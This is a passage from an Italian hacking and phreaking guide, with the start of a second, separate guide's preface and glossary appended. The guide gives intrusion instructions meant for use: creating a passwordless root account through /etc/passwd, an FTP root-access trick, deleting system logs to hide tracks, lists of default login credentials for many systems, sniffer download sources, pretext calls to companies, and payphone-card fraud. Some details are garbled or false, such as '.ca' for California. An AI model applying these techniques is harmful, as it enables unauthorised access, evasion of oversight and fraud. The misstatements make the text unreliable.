messaggio h - stampa a video le intestazioni dei messaggi che sono nella tua mailbox. Ci sono altri comandi e per vederlo basta digitare ?. Se mandate fakemail ( false mail ) date un'occhiata anche al file /var/adm/maillog  ps: Process. Questo comando permette di vedere tutti i processi che occupano la memoria ( come ad esempio i programmi aperti ). Ogni volta che lanci un programma tu assegni un Process ID number ( PID ) per scopi di registrazione e tramite ps puoi andare a vedere cosa e' stato lanciato. Solitamente la prima voce del comando ps è la shell con il tuo nome. pf -f dà una lunga lista di processi.  kill: "Uccide" un processo. Questo è usato per terminare un programma nella memoria del computer. Si possono solo uccidere i processi che si possiedono a meno che tu non sia un root o il EUID è lo stesso di quello che vuoi terminare ( spiegato dopo ). Se "uccidi" la tua shell, tu sei espulso fuori dal sistema.  shwomount (/usr/bin di solito ): serve per mostrare quali parti del file-system una macchina esporta sulla rete, e se seguito dall'opzione -e visualizza inoltre chi ha la possibilita' di montare tramite nfs la partizione esportata ( Se compare la scritta "everyone" siamo a posto ).  rusers: consente di sapere quali utenti sono collegati su macchine remote connesse alla tua.   HACKING  Il primo passo consiste nell'infiltrarsi in un sistema operativo trovando un valido account/password. L'obiettivo dell'hacking è solitamente quello di guadagnare i pieni privilegi ( root ) sul sistema hackerato. Piccola nota: Quando in un sistema si vedono scritte tipo: drwxr-xr-- Infected ( ad esempio ) significa questo: la prima lettera "d" significa che quella riga è una directory e ne contiene forse delle altre; poi seguono una serie di simboli ( rwx ) che stanno per r=read=leggere w=write=scrivere x=execute=eseguire. Sono ripetuti tre volte perchè i primi tre si riferiscono al possessore del file; nell'esempio sopra di Infected, potevo sia leggerlo che modificarlo che eseguirlo. La seconda serie di lettere si riferisce al gruppo a cui Infected appartiene e cioè se quelli appartenenti allo stesso gruppo possono o no leggere, modificare o eseguire il dato file. L'ultima serie di lettere si riferisce ad ogni altro user che non sia Infected e non faccia parte di quel dato gruppo. Quelle lettere possono essere cambiate con il comando chown ( spiegato sopra ) ma lo può fare solo l'operatore di sistema e solo colui che ha creato il file a meno che questo file non sia modificabile dalla terza categoria. Se per caso ti dovesse capitare di trovare nel passwd file ( localizzato in /etc/passwd ) un account privo di password ( cioè c'è dello spazio bianco dove ci dovrebbe essere la password ) significa che puoi inserire il nome dell'account e se ti chiede la password battere invio e così dovresti essere automaticamente dentro.  UNA VOLTA DENTRO??? SPECIALI FILE...  /etc/passwd: Questo è il più importante file su di uno unix poichè contiene le password e gli account validi per poter entrare nel sistema. Il formato per il passwd file è questo: nomeuser:password:UserID:GroupID:descrizione( o vero nome ):homedir:shell Ci sono due esempi da fare: infectedm:89fGc%^&amp;a,Ty:100:100:InfectedMachine:/usr/infectedm:/bin/sh demo::101:100:Test Account:/usr/demo:/usr/sh Prendiamo in considerazione il primo esempio: Il primo campo dove c'è scritto infectedm si riferisce al fatto che infectedm è uno user valido. Il secondo campo dovrebbe contenere la password ma è criptata con il metodo di criptazione DES. Potresti anche trovare qualche carattere tipo * al posto della password e se lo trovi ( cosa praticamente ormai certa nei sistemi odierni ) significa che la password è shadowed ( ombrata ) cioè è nascosta e solamente il root può andare a vedere l'originale. Per combattare quest'ultima "minaccia" si può usare un programma chiamato ypcat ( vedi sotto )che gira sui sistemi operativi SunOS. Parentesi: Le password shadowed sono presenti in due casi: Il sistema e' stato reso sicuro ( trusted ) Sono installate le YellowPage e in questo caso si puo' utilizzare il comando ypcat. Prendiamo ora come esempio il secondo che avevamo fatto sopra: qua possiamo notare che l'account è privo di password e quindi inserendo ( come detto sopra ) il nome dell'account ( in quel caso era demo ) e premendo invio si potrà accedere al sistema senza bisogno di inserire la password.  /etc/group: Questo file contiene i gruppi validi. La sintassi solitamente è: nomegruppo:password:groupid:users nel gruppo. Se vedi uno spazio bianco dove dovrebbe stare la password, puoi diventare parte del gruppo usando l'utility "newgrp". Comunque ci sono alcuni casi in cui a solo certi users è permesso usare il comando "newgrp" per poter accedere al gruppo. A questo proposito voglio specificare che se l'ultima riga cioè "users nel gruppo" è bianca significa che tutti possono inserirsi; al contrario se c'è scritto qualcosa significa che solo quello user o quegli users possono usare il comando e inserirsi. Apro una piccola parentesi sul comando "newgrp": questo è un comando che può cambiare la tua attuale group id in una che tu specifichi. La sintassi è "newgrp nomegruppo".  /etc/hosts: Questo file contiene la lista degli host che sono connessi attraverso un hardware network ( tipo un x.25 link ) o, qualche volta anche quelli connessi attraverso UUCP. Questo è un ottimo file quando vuoi hackerare un grande network e infatti ti dice in che sistemi puoi usare la rshell ( remote shell ) oppure rlogin e il telnet o qualsiasi altro ethernet/x.25 program.  /usr/adm/sulog ( oppure su_log ): Il file sulog può essere trovato in molte directory ma solitamente è in questa. Questo file è ciò che dice la parola stessa, un log file per il programma SU. Infatti questo registra ogni user ( e ogni suo dato compreso da dove chiama ) che usufruisce del programma SU. Se devi usare questo programma per entrare nel sistema cerca questo file e prova ad editarlo cancellando così le tue tracce.  /usr/adm/loginlog /usr/adm/acct/loginlog: Questo è un log file ( per non dire IL log file ) e registra le tracce di ogni persona che si inserisce all'interno del sistema. E' un file di sicurezza per verificare le persone che hanno usufruito del sistema. A volte non esiste neppure sul sistema.  /usr/adm/errlog: Questo è un error log. Può essere ovunque sul sistema. Questo registra le tracce di ogni chiamata errata grave e non. Di solito contiene un codice che classifica le entrate sbagliate. Và da 1 a 10. Quando si hackera un computer in genere questo file lo classifica con il numero 6; il numero 10 è il system crash. Dopo che sei penetrato in un sistema cancella le tue tracce anche su questo file.  /usr/adm/culog: Questo file contiene le informazioni su chi ha usato il programma CU, da dove ha chiamato, chi era, ecc. Un altro file per la sicurezza del sistema.  /usr/mail/&lt;userlogin&gt;: Questo è dove il programma mail registra le lettere di un utente. Per leggere una particolare mailbox devi essere quello user, uno user nel gruppo "mail" o un root. Ogni mailbox ha un nome. Se si trova questo file leggere bene i nomi scritti qua perchè possono benissimo essere gli account degli users.  /etc/shadow: Il file di cui parlavo prima cioè il file shadowed dove ci sono le password ombrate.  /var/adm/maillog: registra la partenza e la destinazione ( credo ) delle mail.  IL BIN ACCOUNT  In genere il bin account è solo a livello user ma benchè sia solamente a questo livello, è molto forte. Questo è potrebbe essere il possessore di molti dei più importanti file del sistema compreso /etc/passwd. Se hai letto la sezione precedente sulla possessione o no dei file ( quelle tre lettere rwx ) puoi capire che se questo account possiede il file /etc/passwd essendo un account a livello user ti permette di editare il mitico file e di crearti una root entry per te stesso. Puoi farlo tramite il comando ed. Ad esempio: $ ed passwd 10999 [ la grandezza del passwd varia ] * a infectedm::0:0: Infected Machine:/:/bin/sh ( control-d ) * w * q $ Ora tu puoi usare il comando Login per reinserirti nel sistema, usare il nome infectedm ed essere un root. Facile no?  Addizionare Account  Ci sono alcuni programmi, diversi dal comando "ed" che permettono di addizionare lo user al sistema ma molti non permettono di inserirsi come root o con UID meno di 100. Uno di questi programmi è chiamato "adduser". Quello che segue è quello che devi fare se vuoi un indirizzo di posta elettronica su di un computer: Se lo Unix in questione ( quello in cui devi mettere la tua email ) ha l'uucp oppure è una università, ci sono possibilità di fare il traserimento di posta elettronica. Tu ora puoi testare lo Unix mandando una mail ad un tuo amico oppure a te stesso e se quando ti arriva, il mittente è indicato come "smail" probabilmente significa che il sistema può mandare le mail UUCP. Questo è un buon metodo per prendere contatto con le persone in maniera tranquilla e sicura.  Hackerare un sito ftp tramite l'FTP di windows95:  TYPE ftp vittima.com ( vittima.com e' il sito da hackerare ) Il server ora puo' richiedere uno username...premere INVIO. Ora il server richiedera' la password...premere anche qui INVIO. Poi digitare: quote user ftp e poi: quote cwd ~root in seguito: quote pass ftp  Sii sicuro di cancellare i log file per fare in modo di renderti "invisibile" al system operator. Per fare questo metodo il sistema deve essere un po' vecchiotto ( anche se non so' quanto ). Funziona soprattutto con i vecchi server ( universita' americane ). E' lo stesso con UNIX, LINUX e OS/2. Funziona anche con gli account anonymous che richiedono l'inserimento della email come password.  SNIFFER???  Che cos'e' uno sniffer? Lo sniffer e' un programma che, rilasciato sopra qualche server, ne cattura le informazioni richieste e le trattiene fino a lettura o le invia ad un destinatario ( ad esempio ). L'atto di catturare di queste informazioni e' chiamato sniffing. Molte delle piu' popolari connessioni tramite computer si eseguono attraverso ethernet. Il protocollo Ethernet lavora mandando pacchetti di informazioni a tutti gli host dello stesso circuito. L'inizio del pacchetto contiene l'indirizzo proprio della macchina di destinazione. Solo il computer con l'indirizzo uguale e' predisposto ad accettare quel pacchetto; per non fare confronti bisogna porre la macchina in modo chiamato "promiscuo". A causa del fatto che in un normale scambio di informazioni attraverso network, account e password sono inviati attraverso ethernet in normale testo non cifrato, non e' difficile per un intruso, una volta che ha ottenuto il livello di superuser, porre la macchina in modo "promiscuo" e, facendo lo sniffing, compromettere tutte le macchine sulla rete di quel computer. Dove si possono trovare gli sniffer? Lo sniffing e' una delle piu' popolari tecniche di attacco degli hackers. Uno speciale sniffer chiamato Esniff.c, veramente piccolo, e' stato creato per lavorare sulle stazioni SunOS e riesce a catturare "solo" i primi 300 bytes delle sessioni di telnet, ftp e rlogin. Questo e' stato pubblicato in Phrack, cioe' uno dei giornali hackers piu' letti di tutta internet. I vari articoli del Phrack si possono trovare su diversi siti ftp. L'Esniff.c e' rimediabile all'ftp:coombs.anu.edu.au:/pub/net/log. Tu, lanciando lo sniffer su di un network autorizzato, puoi vedere come questo comprometta tutte le macchine della rete. Altri sniffer, tesi a risolvere i debug dei programmi di rete sono:*Etherfind sul SunOS 4.1.x *Snoop sul Solaris 2.x e SunOS 4.1 ( ftp playground.sun.com ) *Tcpdump 3.0 *Packetman, Interman, Etherman, Loadman lavorano sulle seguenti piattaforme: SunOS, Dec-mips, SGI, Alpha e Solaris <a href="ftp://ftp.cs.curtin.edu.au/pub/netman/[sun4c%7Cdec-mips%7Csgi%7Calpha%7Csolaris2]/[Etherman-1.1a%7CInterman-1.1">ftp.cs.curtin.edu.au:/pub/netman/[sun4c|dec-mips|sgi|alpha|solaris2]/[Etherman-1.1a|Interman-1.1</a>| loadman-1.0|packetman-1.1].tar.gz Lo sniffer chiamato Packerman ( cosi' come Etherman o Interman ) e' stato creato per catturare pacchetti di informazioni mentre Loadman per monitorare il traffico tra i computer. Sniffer per il DOS: *Gobbler per macchine IBM DOS  *Ethdump v1.03 <a href="ftp://ftp.germany.eu.net/pub/networking/inet/ethernet/ethdp103.zip">ftp.germany.eu.net:/pub/networking/inet/ethernet/ethdp103.zip</a> *Ethload v1.04 <a href="ftp://ftp.germany.eu.net/pub/networking/monitoring/ethload/ethld104.zip">ftp.germany.eu.net:/pub/networking/monitoring/ethload/ethld104.zip</a>  Sniffer commerciali:  *Network General La network general produce numerosi prodotti. I piu' importanti sono gli Expert Sniffer, che non solo corrono su tutta la rete ma possono anche caricare pacchetti attraverso un sistema ad alte prestazioni diagnosticando i problemi per te.  *Microsoft's Net Monitor  Come si individua se vi e' uno sniffer su di un sistema?  Per individuare uno sniffer che raccoglie solo dati e non risponde a informazioni bisogna fisicamente verificare tutti i propri collegamenti Ethernet, controllandoli uno ad uno. E' impossibile verificare in modo remoto un computer mandandogli un pacchetto di informazioni o facendo un ping alla macchina se questa e' stata "sniffata". Uno sniffer che e' stato lanciato su di una macchina, mette l'interfaccia in modo promiscuo con il quale accetta tutti i pacchetti di informazioni. Su alcuni sistemi UNIX e' possibile individuare se una macchina e' stata messa in modo promiscuo. E' possibile lanciare uno sniffer su di una macchina in maniera non promiscua ma questo intercettera' solamente le informazioni che sono state lanciate direttamente dalla macchina. E' anche possibile per l'intruso eseguire una simile cattura di informazioni lanciando alcuni trojan horse ( vedi sopra ) su diversi programmi come telnet, rlogin, in.telnetd e altri. Tutti questi tipi di attacchi compromettono solo le sessioni che vengono da una macchina invece lo sniffing in modo promiscuo compromette TUTTE le sessioni su Ethernet. Per SunOS, NetBSD e altri possibili derivati BSD dello UNIX c'e' un comando "ifconfig -a" che ti dice tutte le informazioni su tutte le interfacce e se loro sono in modo promiscuo. Sul DEC OSF/1 e IRIX e altri possibili OS, bisogna specificare che interfaccia si vuole verificare. La sola via per trovare quale interfaccia e' su di un sistema e questa: eseguire: # netstat -r Routing tebles  Internet: Destination Gateway Flags Refs Use Interface default iss.net UG 1 24949 le0 localhost localhost UH 2 83 lo0  Poi tu puoi testare ogni interfaccia eseguendo il seguente comando: # ifconfig le0 le0: flags=8863&lt;UP, BROADCAST, NOTRAILERS, RUNNING, PROMISC, MULTICAST&gt; inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1  Gli hackers spesso rimpiazzano comandi come ifconfig per evitare l'individuazione.  C'e' un programma chiamato cpm scaricabile a: <a href="ftp://ftp.cert.org/pub/tools/cpm">ftp.cert.org:/pub/tools/cpm</a> che lavora solo sul SunOS e ispeziona l'interfaccia per le "primiscuous flag".  L'Ultrix puo' individuare qualcuno che lancia uno sniffer usando il comando pfstat e pfconfig. "pfconfig" ti permette di settare chi puo' usare uno sniffer. "pfstat" ti mostra se le interfacce sono in modo promiscuo. Questi comandi funzionano solo se lo sniffing e' abilitato linkandolo nel kernel. Per default, lo sniffer NON e' linkato nel kernel. Molti altri sistemi UNIX, come Irix, Solaris, SCO, ecc, non hanno indicazioni sulle flags ( se sono in modo promiscuo o no ) e quindi un intruso puo' fare uno sniffig sul tuo sistema senza essere individuato.  Spesso un "log sniffer" ( sniffer di inserimento ) diventa un grande file. Su un network con molti computer collegati ad esso, uno sniffer puo' dar luogo a lunghi caricamenti sulla macchina sniffata. Qualche volta questo mette in allarme gli amministratori di sistema e cosi' possono arrivare a scoprire uno sniffer. Io suggerisco di usare lsof ( LiSt Open Files ) scaricabile da: coast.cs.purdue.edu:/pub/Purdue/lsof Questo programma trova i log file e i programmi che accedono ai pacchetti di informazioni su di un sistema come il /dev/nit sul SunOS.  Non esiste un comando ( per quanto ne so' ) per individuare una macchina IBM PC posta in maniera "promiscua", ma solitamente queste macchine non permettono comandi di esecuzione tranne che dalla console principale e quindi intrusi che operano in modo remoto non possono cambiare un computer PC in uno sniffer senza avere aiuto dall'interno.   INFORMAZIONI SUI SISTEMI OPERATIVI:  Nota: Sotto ogni descrizione riporto una lista delle piu' comuni password e login del sistema citato.  VMS:  I computer VAX e' stato creato dalla Digital Equipment Corporation ( DEC ) ed usa il VMS ( Virtual Memory System ). Questo sistema e' caratterizzato dal prompt con la scritta "Username:". Il "bello" di questo sistema e' che non ti dice se hai sbagliato ad inserire un username e ti puo' disconnettere dopo tre tentativi errati di inserimento. Il VMS registra anche le tracce di tutti i tentativi falliti di login e informa il possessore dell'account quanti tentativi sono stati fatti sbagliati sul suo account. Questo e' uno dei piu' sicuri sistemi operativi che sono in circolazione contro gli attacchi dall'esterno ma una volta dentro ci sono molte cose che si possono fare per evitare le barriere di sicurezza erette dal sistema. Il VAX ha anche il migliore set di file di aiuto del mondo. Digita HELP per vederli.  Login: Password:  SYSTEM: OPERATOR, MANAGER, SYSTEM oppure SYSLIB OPERATOR: OPERATOR SYSTEST: UETP SYSMAINT: SYSMAINT, SERVICE oppure DIGITAL FIELD: FIELD o SERVICE GUEST: GUEST o privo di password DEMO: DEMO o privo di password DECNET: DECNET  DEC-10  Una linea della DEC usa il sistema TOPS-10. Queste macchine sono individuabili dal prompt "." La serie DEC 10/20 sono dette "amiche degli hackers" in quanto permettono molti importanti comandi senza neppure aver effettuato il login. Tu puoi prendere una lista di accounts e di process name di tutti quelli collegati al sistema senza collegarti ad esso digitando .systat ( sta per SYstem STATus ). Se tu leggi una cosa tipo: [234,1001]BOB JONES, tenta BOB o JONES o tutti e due per la password su questo account. Gli account sono in questo formato [xxx,yyy]. Per effettuare il login digitare .login xxx,yyy e poi inserisci la password quando ti viene richiesta. Il sistema ti permette illimitati tentativi di login su di un account e non registra le tracce di quelli falliti. Ti informa anche se il UIC ( UIC=User Identification Code ) che stai tentando e' sbagliato.  Login: Password:   1,2: SYSLIB, OPERATOR oppure MANAGER 2,7: MAINTAIN 5,30: GAMES  UNIX  Ci sono dozzine di differenti macchine che possono usare lo UNIX. Sebbene per alcuni non sia il miglior sistema operativo del mondo, e' certamente il piu' usato. Un sistema UNIX ha solitamente un prompt del tipo "login:". Il sistema UNIX permette illimitati tentativi di accesso ( in molti casi ) e SOLITAMENTE non registra le tracce dei login falliti. Nota sulle password: Il sistema operativo UNIX e' molto sensibile e quindi scrivere InfectedM al posto di infectedm e' completamente diverso.  Login: Password:  root: root admin: admin sysadmin: sysadmin or admin unix: unix uucp: uucp rje: rje guest: guest demo: demo daemon: daemon sysbin: sysbin  Comunque per le password dello unix guardate anche la lista nel capitolo dedicato all'hacking di questa guida.  PRIME  Il computer centrale della PRIME usa il sistema operativo PRIMOS. Si puo' facilemente identificare con la scritta che appare cioe': "Primecon 18.23.05" o qualcosa di simile che dipende dalla versione del sistema operativo. Solitamente non da' prompt questo sistema operativo. A questo punto digita "login". Se il sistema e' un versione pre del 18.00.00 del Primos tu puoi premere una serie di ^C al posto della password e ritrovarti dentro. Sfortunatamente la maggior parte delle persone utilizza versioni superiori alla 19+. Il sistema Primos ha anche degli ottimi file di aiuto. Uno dei piu' utili comandi che si puo' utilizzare in questo sistema e' chiamato: NETLINK. Una volta che ti sei inserito nel computer digita NETLINK e segui i file di aiuto. Questo ti permette di connetterti agli NUA di tutto il mondo usando il comando "nc". Per esempio per connettersi al NUA 026245890040004 tu devi digitare @nc :26245890040004 nel prompt del netlink.  Login: Password:  PRIME PRIME o PRIMOS PRIMOS_CS PRIME o PRIMOS PRIMENET PRIMENET SYSTEM SYSTEM o PRIME NETLINK NETLINK TEST TEST GUEST GUEST GUEST1 GUEST  HP-x000  Questo sistema e' stato creato dalla Hewlett Packard ed e' caratterizzato dal prompt con i due punti ":" L'HP ha una delle piu' complicate sessioni di login che girino sotto computer: 1) Hello Session Name 2) UserName 3) AccountName 4) Group. Fortunatamente qualcuno di questi campi puo' essere bianco in alcuni casi ma possono anche essere tutti protetti da password e quindi non e' un sistema semplice in cui entrare. In generale, se il default non funziona bisogna tentare un brute force usanto la password list comune. L'HP-x000 usa il sistema operativo MPE e il prompt e' qualcosa come ":"  Login: Password:  MGR.TELESUP,PUB User: MGR Acct: HPONLY Grp: PUB MGR.HPOFFICE,PUB privo di password MANAGER.ITF3000,PUB privo di password FIELD.SUPPORT,PUB user: FLD, others, privo di password MAIL.TELESUP,PUB user: MAIL, others, privo di password MGR.RJE privo di password FIELD.HPPl89 ,HPPl87,HPPl89,HPPl96 privo di password MGR.TELESUP,PUB,HPONLY,HP3 privo di password  IRIS  IRIS sta per Interactive Real Time Information System. Originariamente girava solo sotto i PDP-11 ma ora gira sotto piu' macchine. Si puo' identificare dalla scritta 'Welcome to "IRIS" R9.14 Timesharing' e per la scritta ACCOUNT ID? nel prompt. IRIS permette illimitati tentativi di hackeraggio e non registra i tentativi falliti. Non conosco password di default provare quindi con le password della lista sopra.  Login:  MANAGER BOSS SOFTWARE DEMO PDP8 PDP11 ACCOUNTING  VM/CMS  Il sistema operativo VM/CMS e' funzionante sopra le International Business Machine ( IBM ). Quando ti connetti ad uno di questi tu puoi ricevere un messaggio tipo 'VM/370 ONLINE' e un prompt "." come il TOPS-10. Per fare il login digitare 'LOGON'.  Login: Password:  AUTOLOG1: AUTOLOG or AUTOLOG1 CMS: CMS CMSBATCH: CMS or CMSBATCH EREP: EREP MAINT: MAINT or MAINTAIN OPERATNS: OPERATNS or OPERATOR OPERATOR: OPERATOR RSCS: RSCS SMART: SMART SNA: SNA VMTEST: VMTEST VMUTIL: VMUTILV TAM: VTAM  NOS  NOS sta per Networking Operating System e funziona sui computer Cyber creati dalla Control Data Corporation. Il NOS si identifica facilmente dalla scritta 'WELCOME TO THE NOS SOFTWARE SYSTEM. COPYRIGHT CONTROL DATA 1978,1987'. Il primo prompt di comandi che ti potrebbe apparire e' FAMILY:. Qua premi invio. Poi ti dovrebbe apparire lo USER NAME:. Lo username e' solitamente lungo 7 caratteri alfanumerici ed e' ESTREMAMENTE sito-dipendente. Gli account degli operatori solitamente sono qualcosa del tipo: 7ETPDOC.  Login: Password:  $SYSTEM unknown SYSTEMV unknown  DECSERVER  Questo non e' realmente un sistema ma e' un server di un network che ha differenti macchine collegate a lui. Un decserver puo' dire 'Enter Username&gt;' quando ti connetti al sistema. Questo puo' essere qualsiasi cosa e puo' non significare niente...e' solo un'identificatore. Premi 'c' a questo punto per entrare. Ora ti si presentera' la scritta 'Local&gt;'. Da qua premi ancora 'c' per connetterti al sistema. Per prendere una lista dei nomi nel sistema, digita 'sh services' oppure 'sh nodes'. Se hai qualche problema gli aiuti online sono disponibile digitando il comando 'help'. Dai un occhio a servizi chiamati 'MODEM' oppure 'DIAL' o qualcosa di simile, questi sono spesso outdial modem e possono essere d'aiuto.  GS/1  Un altro tipo di network server. Diversamente dal Decserver tu non puoi predirre quale prompt ti dara' il gateway del GS/1. Il default e' 'GS/1&gt;' ma questo e' ridefinibile dall'amministratore di sistema. Per testare il GS/1 digita 'sh d'. Se questo comando stampa a video una lista di default ( velocita' del terminale, prompt, parita', etc. ) tu sei su un GS/1. Tu ti puoi connettere alla stessa maniera del Decserver premendo 'c'. Per trovare quali sistemi sono disponibili premi 'sh n' oppure 'sh c'. Un altro trucchettino e' 'sh m' perche' qualche volta ti stampa a video una lista di macros per effettuare il login in un sistema. Se c'e' una macro chiamata VAX, per esempio, digita 'do VAX'.   SISTEMI IRRESPONSABILI  Occasionalmente tu ti puoi connettere ad un sistema che non ti dice nulla e non fa' nulla. Questa e' una cosa abbastanza frustrante ma un approccio con metodo ad un sistema puo' farti risparmiare un sacco di tempo. La seguente lista di cosa da fare ti puo' aiutare: 1) Cambia la tua parita', lunghezza dei dati e stop dei bits. Se un sistema non risponde con 8N1, puo' rispondere con 7E1 o 8E2 o 7S2. Se tu non hai un terminale che cambi i settaggi a EVEN, ODD, SPACE, MARK o NONE con una lunghezza di 7 o 8 e 1 o 2 stop bits vai subito a comprarne uno. Avere un buon programma e' assolutamente necesssario e, sicuramente, di aiuto. 2) Cambia il tuo baud rate ( velocita' di collegamento ). Ancora, se tu hai un programma che ti permette di scegliere la tua velocita' di connessione ( ad esempio 600 o 1100 ) potresti essere capace di penetrare un sistema che, senza il cambio di velocita' di connessione non potresti hackerare. Molti sistemi dipendono dalla velocita' ed alcuni hanno una strana velocita' di connessione e questo sembra che in alcuni sia tutta la sicurezza di cui i sistemi necessitano ( almeno secondo i loro amministratori ). 3) Manda una serie di 's. 4) Manda un hard break seguito da una a. 5) Manda una serie di . I Datapac network canadesi rispondono a questo. 6) Se tu ottieni un garbage premi una i. Tymnet risponde a questo come MultiLink II. 7) Inizia a mandare dei control con delle lettere a partire da ^A e findendo ^Z. 8) Cambia la tua emulazione di terminale.  9) Digita LOGIN, HELLO, LOG, ATTACH, CONNECT, START, RUN, BEGIN, LOGON, GO, JOIN, HELP e qualsiasi altra cosa tu pensi che ti possa servire. 10) Se conosci il numero della compagnia da hackerare prova a chiamarli e sparare un sacco di balle per farti dare informazioni in piu'.   PHREAKING IN ITALIA  A dir la verita' ne so' poco o nulla del phreaking in Italia ma comunque vi dico ogni cosa mi viene in mente. Ho letto da qualche parte anche se non ricordo bene dove alcune cose riguardanti le cabine telefoniche italiane ( quelle dotate di lettore schede ): Se si telefona a qualcuno e questo qualcuno alza IMMEDIATAMENTE la cornetta ( quando si dice immediatamente si intende senza quasi sentire lo squillo ) il lettore di schede, a volte, non "sente" l'effettivo aggancio della linea telefonica e non fa' spendere nulla. Questo funziona su alcune cabine NON su tutte. Per ricaricare le tessere magnetiche invece ho sentito due versioni: a) Prendete un televisore vecchio e accendetelo per circa due o tre ore. Trascorso tale periodo passate la tessera magnetica ( con la banda magnetica rivolta verso il vetro della tv ) sopra lo schermo e verificate se si e' ricaricata almeno in parte. b) Prima di passare la tessera magnetica sopra il televisore dategli una spruzzatina di lacca sulla banda magnatica e POI passatela sul televisore come sopra. Verificate poi anche questa. Io personalmente non ho verificato ma nel momento in cui scrivo alcuni amici stanno provando queste teorie.  Piccola nota: Ho sentito in giro voci di persone che avrebbero usato il bluebox ( scatoletta che permette di falsificare i segnali telefonici per poter telefonare gratis ) in Italia. Ora prevedo due cose: 1) Le persone che dicono di averlo usato lo hanno davvero fatto ma magari collegandosi a centralini fuori dal nostro Paese; 2) Stanno dicendo cagate solamente per farsi belli agli occhi degli altri. Se volete avere maggiori informazioni sul phreaking in Italia vi consiglio di leggere il N°1 di SystemDown nel quale se ne parla molto piu' che in questa guida.  NOTA AGGIUNTIVA - Non mi stanchero' mai di ripeterlo il blueboxing in Italia con la freq 2600Hz non funziona le nuocve centraline hanno un sistema molto piu complesso che si basa su piu multifrequenze codificate che oscillano parecchio e rendono impossibile il box PER ORA - FINE NOTA MrZeRo   NOTE FINALI:  Principali siti dove reperire informazioni sull'hacking:  <a href="http://www.vcalpha.com/silicon/void-f.html">http://www.vcalpha.com/silicon/void-f.html</a>  <a href="http://www.2600.com/">http://www.2600.com</a> <a href="http://l0pht.com/">http://l0pht.com</a> <a href="http://underground.org/">http://underground.org</a> <a href="http://www.mgmua.com/hackers/index.html">http://www.mgmua.com/hackers/index.html</a> <a href="http://195.32.61.1/zo">http://195.32.61.1:80/zo</a>  Libri consigliati:  The Hacker Crackdown  Testi utili sull'hacking e il phreaking ( tutti in inglese o quasi ):  A Novice's Guide To Hacking  Alt.2600 Hack Faq  The Hacker's Handbook  The Official Phreaker's Manual  Rainbow Book  Computer Hackers: Rebel With A Cause  The Legion Of Doom Technical Journals  The Ultimate Beginner's Guide To Hacking And Phreaking  La guida italiana all'hacking :-)))  SystemDown ( rivista Italiana di hacking/phreaking/cracking/virii )  Newgroups sull'hacking e il phreaking:  alt.2600 ( e suoi derivati ) alt.2600.hackerz alt.2600.hope.tech alt.cellular alt.cellular-phone-tech alt.comp.virus alt.cracks alt.cyberpunk alt.cyberspace alt.dcom.telecom alt.fan.lewiz alt.hacker alt.hackers alt.hackers.groups alt.hackers.malicious alt.hacking alt.hackintos alt.security  Canali IRC di hack/phreak Italiani ( consiglio il collegamento dopo le 21.30 ):  hackers.it hacker.it phreak.it  Film da vedere sugli hackers e simili:  Wargames, giochi di guerra Hackers I signori della truffa  PREFAZIONE ~~~~~~~~~~ In seguito alle moltissime richieste di informazioni sull'hacking, noi del D.A.C. abbiamo deciso di scrivere una serie di "volumi" sull'argomento, per spiegare in modo semplice e graduale le basi dell'hacking.  Le informazioni che ci accingiamo a darvi con la presente "Enciclopedia" sono solo a scopo informativo. L'autore, Lord Shinva, declina ogni responsabilita` per l'uso di queste informazioni. L'autore si riserva inoltre la possibilita` di ritardare o interrompere in qualsiasi momento la pubblicazione di questa serie di documenti in caso di uso improprio degli stessi.  Questo documento puo` essere liberamente distribuito purche` non modificato. Sono VIETATE la vendita e la duplicazione integrale o parziale con qualsiasi mezzo e in qualsiasi modo.  Tutti i diritti sono riservati dall'autore.   GLOSSARIO ~~~~~~~~~ - IP Address   Indirizzo numerico composto da quattro numeri (ad esempio 123.45.67.8) che   identifica il vostro computer sulla rete.  Un IP Address e` unico e   corrisponde ad un Host Name  - Host Name   Nome in formato standard Internet di un sito. Ad esempio sara` del tipo   <a href="http://www.prova.com/">www.prova.com</a> per un provider o un sito generico, mentre nel caso di un   collegamento via modem di un utente al suo provider potra` somigliare a   ppp14-ro.provider.it.   Le estensioni piu` usate sono:     .com   sito commerciale ("com") generico     .org   organizzazione ("org") senza fini di lucro     .mil   sito militare ("mil") USA     .net   rete (in inglese "net") sito generico   e i vari .it (Italia) .uk (Inghilterra) .ca (California), ecc.  - Client   Programma "cliente", usato da un utente per collegarsi ad un servizio.   Ad esempio, Netscape e Microsoft Explorer sono client per collegarsi al   servizio Web (HTTP), Eudora e` un client per collegarsi al servizio e-mail   (SMTP/POP3), Cute FTP e WS-FTP sono client per collegarsi a FTP, e cosi`   via.  E` in pratica un programma che viene usato per comunicare con un   server.  - Server   Programma che svolge un servizio e si occupa di rispondere ai client.   Ad esempio, i provider hanno un Web Server per offrirvi la possibilit…   di collegarvi ad Internet tramite il Web.  - Protocollo   Insieme di regole per la gestione di un servizio Internet come web, email  - Servizi: nomi tecnici   I servizi disponibili su Internet sono: Web (pagine ipertestuali), FTP   (trasferimento file), e-mail, news, IRC, ecc.   Ecco alcuni nomi tecnici e relativo servizio:     HTTP   e` il nome del protocollo del web     SMTP   e-mail, posta in uscita     POP3   e-mail, posta in arrivo     IMAP   e-mail, e` un altro tipo di posta in arrivo, meno usato  - DNS (Domain Name Server)   E' la funzione svolta da un computer situato sulla rete che si occupa di   risalire a un IP Address da un Host Name e viceversa (se ad esempio volete   conoscere l'IP Address di <a href="http://www.prova.com/">www.prova.com</a> utilizzando il DNS otterrete una   risposta del tipo 123.45.67.8, ma e` anche possibile fare il contrario).   L'operazione per la quale si risale dall'IP Address (numerico) all'Host   Name (nome) viene detta Reverse DNS.   Il DNS viene utilizzato automaticamente da tutti i programmi per Internet,   in quanto Internet non "capisce" gli Host Name, e ha bisogno di conoscere   il relativo IP Address per riuscire a collegarsi ad un sito (Host).   E' anche possibile utilizzarlo volutamente, per risalire a qualcuno, ecc.   FONDAMENTI ~~~~~~~~~~ Prima di iniziare con l'hacking vero e proprio e` necessario iniziare con una breve lezione sull'anonimita`.  Infatti, quando effettuate un'operazione qualsiasi sulla rete, lasciate tracce di voi ovunque. Questo e` particolarmente vero per il web, in quanto ogniqualvolta ci si collega ad un server o si inviano dati vengono automaticamente trasmesse informazioni come: da quale server (e quindi da quale citta`) si sta chiamando, il nome ed il produttore del programma che si sta usando, quale sistema operativo e` installato sul vostro PC, il vostro IP address, qual'e` l'ultimo sito visitato, se, quando e quante volte ci si e` collegati ad un sito, e talvolta anche il proprio indirizzo di e-mail.  Mentre lasciare simili informazioni in giro puo` non costituire un pericolo per un utente qualsiasi, per un hacker la 